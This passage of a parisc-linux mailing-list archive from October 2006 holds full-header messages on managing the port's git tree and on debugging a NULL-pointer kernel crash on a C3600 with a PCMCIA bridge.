bmFibGVfYnJpZGdlcysweGMvMHg3YwogSUFPUVsxXTogcGNpX2VuYWJsZV9icmlkZ2VzKzB4MTAv
MHg3YwogUlAocjIpOiBsYmFfZHJpdmVyX3Byb2JlKzB4MzM0LzB4NTc4Cktlcm5lbCBwYW5pYyAt
IG5vdCBzeW5jaW5nOiBLZXJuZWwgRmF1bHQKIA==

--Multipart=_Sat__7_Oct_2006_16_55_19_+0200_jmKxKD0UH0oN8w/A
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Multipart=_Sat__7_Oct_2006_16_55_19_+0200_jmKxKD0UH0oN8w/A--



From - Thu Nov 08 21:36:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Proposal for git tree management
Date: Sat, 7 Oct 2006 18:41:52 -0600
Lines: 42
Approved: news@gmane.org
Message-ID: <20061008004151.GZ2563@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624606 27760 80.91.229.3 (22 Nov 2014 02:50:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:06 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Oct 2006 00:42:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx087) with SMTP; 08 Oct 2006 02:42:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AAAA77D6C4;
	Sat,  7 Oct 2006 18:41:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15072-10; Sat, 7 Oct 2006 18:41:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EEAF87D6C7;
	Sat,  7 Oct 2006 18:41:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D3C417D6C2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Oct 2006 18:41:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15072-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Oct 2006 18:41:52 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A2F127D685
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Oct 2006 18:41:52 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 53C6D494007; Sat,  7 Oct 2006 18:41:52 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 4520E494006; Sat,  7 Oct 2006 18:41:52 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: a3wafTRKPjltCOrBOTU2CIUzMTE2NQl9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25329


I think the git development model is working out pretty well.  We've
committed around 100 patches to our tree since we switched to using git.
Most of those have gone upstream, mostly through Kyle's hard work.

However, figuring out what is left to merge is getting harder.  Due to
trying to keep Linus' tree clean, the commit that goes into our
development tree isn't the same one that ends up in his tree.  So it's
hard to tell what's been committed and what hasn't.  Don't get me wrong,
it's still an improvement over using CVS, but I think we could use Git
more effectively.

Right now, git-log linus..origin shows all the patches we've ever
committed, regardless of whether they've been merged.  A graphic would
make this easier:

A -> B -> C -> D' -> E
 \-> D -------/-> F --\->G

This illustrates Linus' tree at time A.  We clone his tree and make
change D, and eventually it ends up in Linus' tree as D' (after changes
B and C have happened in his tree).  At point G, git-log linus..master
shows change D, even though it was already merged to the linus tree.

The obvious solution is to rebase the tree.  We start a new origin
branch from point E and pull commit F onto it as commit F'.  But if we
delete the former origin branch we lose our history.  So I'd like to
rename it (probably to something like devel-2006-10-07), and create a
new origin.  That way we can still go back and find our history, and
still keep git-log useful.

I'm concerned we may get an unreasonable number of branches using this
scheme.  Using a date (rather than a cardinal) helps understand how
relevant a branch may be.

Anyway, comments, suggestions, alternatives, abuse?
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3600 crash with PCMCIA bridge
Date: Sun, 8 Oct 2006 09:18:18 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <20061008091818.93138d32.gmsoft@tuxicoman.be>
References: <20061007165519.d85d8839.gmsoft@tuxicoman.be>
	<200610071527.k97FRruf011292@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624606 27763 80.91.229.3 (22 Nov 2014 02:50:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:06 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:28:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Oct 2006 07:18:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx083) with SMTP; 08 Oct 2006 09:18:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB2EB7D64B;
	Sun,  8 Oct 2006 01:18:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20249-06; Sun, 8 Oct 2006 01:18:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C55EA7D652;
	Sun,  8 Oct 2006 01:18:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 10AEE7D64A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Oct 2006 01:18:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20256-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 8 Oct 2006 01:18:22 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D2CE77D647
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Oct 2006 01:18:22 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id C19E849400A; Sun,  8 Oct 2006 01:18:22 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by mail.parisc-linux.org (Postfix) with ESMTP id 87C25494005
	for <parisc-linux@parisc-linux.org>;
	Sun,  8 Oct 2006 01:18:21 -0600 (MDT)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP
	id BB83EEB143; Sun,  8 Oct 2006 09:18:20 +0200 (CEST)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP
	id 815812FD56; Sun,  8 Oct 2006 09:18:19 +0200 (CEST)
Original-Received: from [2001:6f8:310:300:213:d4ff:fe5c:bd4f]
	(helo=bleh.bxl.tuxicoman.be)
	by ibiza.bxl.tuxicoman.be with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.60) (envelope-from <gmsoft@tuxicoman.be>)
	id 1GWSuI-0005Ux-Lt; Sun, 08 Oct 2006 09:17:06 +0200
In-Reply-To: <200610071527.k97FRruf011292@hiauly1.hia.nrc.ca>
X-Mailer: Sylpheed version 2.2.6 (GTK+ 2.8.19; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fpEadDVRIyd1EvqQe2drFX9aa2FkZhXE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25330



Dave,

Thanks, by checking if lba_bus is != NULL before calling pci_enable_bridges() in lba_pci.c, my C3600 does boot.
However the bridge isn't working but that was expected :)

  Guy

On Sat, 7 Oct 2006 11:27:52 -0400 (EDT)
"John David Anglin" <dave@hiauly1.hia.nrc.ca> wrote:

> The crash occurs because the first argument in the call to
> pci_enable_bridges is a null pointer.  It's here:
> 
> 102253dc <pci_enable_bridges>:
> 102253dc:       6b c2 3f d9     stw rp,-14(sp)
> 102253e0:       6f c4 00 80     stw,ma r4,40(sp)
> 102253e4:       6b c3 3f 89     stw r3,-3c(sp)
> 102253e8:       4b 5c 00 28     ldw 14(r26),ret0
> 
> r26 is zero.
> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for git tree management
Date: Sun, 8 Oct 2006 21:29:45 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <20061009032945.GB30517@colo.lackof.org>
References: <20061008004151.GZ2563@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624606 27764 80.91.229.3 (22 Nov 2014 02:50:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:06 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Oct 2006 03:30:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 09 Oct 2006 05:30:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DDFAF7D6E5;
	Sun,  8 Oct 2006 21:29:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02525-06; Sun, 8 Oct 2006 21:29:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1743E7D6D5;
	Sun,  8 Oct 2006 21:29:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A0F327D6CF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Oct 2006 21:29:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02525-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 8 Oct 2006 21:29:47 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 6ECAF7D6CA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Oct 2006 21:29:47 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 31DED49400A; Sun,  8 Oct 2006 21:29:47 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id 0F727494005
	for <parisc-linux@parisc-linux.org>;
	Sun,  8 Oct 2006 21:29:46 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id BB4D33D836F;
	Sun,  8 Oct 2006 21:29:45 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03834-03; Sun, 8 Oct 2006 21:29:45 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 551B33D836C; Sun,  8 Oct 2006 21:29:45 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20061008004151.GZ2563@parisc-linux.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DfAQfTRMYW0+VLuGbmZpjlV0amthc5vx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25331

On Sat, Oct 07, 2006 at 06:41:52PM -0600, Matthew Wilcox wrote:
> 
> I think the git development model is working out pretty well.  We've
> committed around 100 patches to our tree since we switched to using git.
> Most of those have gone upstream, mostly through Kyle's hard work.

Agreed - many kudos/thanks to kyle!

...
> The obvious solution is to rebase the tree.  We start a new origin
> branch from point E and pull commit F onto it as commit F'.  But if we
> delete the former origin branch we lose our history.

I don't care so much about "our" history. I mostly care
about the commit message(s) that end up in linus' tree.

> I'm concerned we may get an unreasonable number of branches using this
> scheme.  Using a date (rather than a cardinal) helps understand how
> relevant a branch may be.

I think anything is ok if it helps us determine what's missing
from linus' tree and ship those patches (when ready) to him.
I'll probably end up ignoring the branches anyway.

Please just make it "KISS". I'm only using git a few times per month
and it's just not enough to do anything complicated right now.
My goal is any git commits I make can (indirectly via kyle) go
to linus without the confusion you described.

thanks!
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3600 crash with PCMCIA bridge
Date: Sun, 8 Oct 2006 22:54:32 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20061009045432.GC30517@colo.lackof.org>
References: <20061007165519.d85d8839.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624607 27765 80.91.229.3 (22 Nov 2014 02:50:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:07 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: - Wed Jul 02 21:28:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Oct 2006 04:54:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx093) with SMTP; 09 Oct 2006 06:54:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A71A7D6EE;
	Sun,  8 Oct 2006 22:54:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03480-06; Sun, 8 Oct 2006 22:54:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 60D297D6E2;
	Sun,  8 Oct 2006 22:54:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EC6677D6DC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Oct 2006 22:54:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03460-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 8 Oct 2006 22:54:34 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id B90677D6D5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Oct 2006 22:54:34 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 7A8E749400B; Sun,  8 Oct 2006 22:54:34 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id 4CA8A49400A
	for <parisc-linux@parisc-linux.org>;
	Sun,  8 Oct 2006 22:54:33 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 7EEA83982D9;
	Sun,  8 Oct 2006 22:54:32 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10241-05; Sun, 8 Oct 2006 22:54:32 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 26006398249; Sun,  8 Oct 2006 22:54:32 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20061007165519.d85d8839.gmsoft@tuxicoman.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XJBPL3AyaHI+XKWnKSUlYjNqamdhZERH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25332

On Sat, Oct 07, 2006 at 04:55:19PM +0200, Guy Martin wrote:
> I've been experiencing kernel crashes when I plug a RICOH RL5c475
> cardbus bridge.
> 
> I've attached the crash info.

Thanks - I've looked over lba_driver_probe() and I'm wondering why
we are getting a NULL pointer back from pci_scan_bus_parented().

If you could determine why pci_create_bus() is returning a NULL
pointer to pci_scan_bus_parented(), that would probably provide
clues to the real problem.

And the first "if (lba_bus)" right after that bus scan seems
wrong to me too since the code below it will crash anyway.
Seems a NULL lba_bus should cleanup and exit with an error.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CCIO dma io_command and related io_tlb format
	questions.
Date: Mon,  9 Oct 2006 11:41:11 +0200
Lines: 85
Approved: news@gmane.org
Message-ID: <J6V48N$07BEC56C541729714304848986C290A3@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624607 27768 80.91.229.3 (22 Nov 2014 02:50:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:07 +0000 (UTC)
To: "parisc-linux" <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Oct 2006 09:41:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx043) with SMTP; 09 Oct 2006 11:41:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A25FD7D6EE;
	Mon,  9 Oct 2006 03:41:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06726-03; Mon, 9 Oct 2006 03:41:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B4E287D6EF;
	Mon,  9 Oct 2006 03:41:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D10797D6E8
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Oct 2006 03:41:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05958-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 9 Oct 2006 03:41:16 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 9D3337D6E1
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Oct 2006 03:41:16 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 488C749400B; Mon,  9 Oct 2006 03:41:16 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id 701B7494005;
	Mon,  9 Oct 2006 03:41:13 -0600 (MDT)
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by guri.is.scarlet.be  with ESMTP id k999fBC14641; 
	Mon, 9 Oct 2006 11:41:11 +0200
